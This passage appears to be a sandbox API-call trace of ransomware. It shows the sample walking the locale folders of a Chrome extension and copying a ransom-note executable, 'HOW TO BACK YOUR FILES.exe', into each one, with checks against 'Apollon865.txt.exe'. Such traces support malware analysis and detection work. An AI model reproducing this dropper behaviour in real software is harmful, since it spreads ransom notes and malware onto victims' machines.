	[0049.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.329] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35784e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35784e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.330] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.330] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.330] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi"
	[0049.330] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi"
	[0049.330] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.330] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.334] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357aafb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357aafb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.334] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.334] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.334] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk"
	[0049.334] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk"
	[0049.334] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.334] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.341] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.341] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357aafb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357aafb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.341] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.341] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.341] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr"
	[0049.341] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr"
	[0049.342] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.342] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.345] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.346] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357aafb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357aafb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.346] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.346] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.346] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th"
	[0049.346] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th"
	[0049.346] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.346] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.353] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357d1110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357d1110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.353] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.353] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.353] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv"
	[0049.353] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv"
	[0049.353] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.353] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.357] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.357] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357d1110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357d1110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.357] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.357] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr"
	[0049.358] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr"
	[0049.358] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.358] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.362] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.362] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357d1110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357d1110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.362] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.362] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.362] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl"
	[0049.362] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl"
	[0049.362] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.362] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.366] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.366] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357f7270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357f7270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.366] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.366] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.366] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk"
	[0049.366] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk"
	[0049.367] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.367] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.371] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357f7270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357f7270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.371] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.372] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.372] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru"
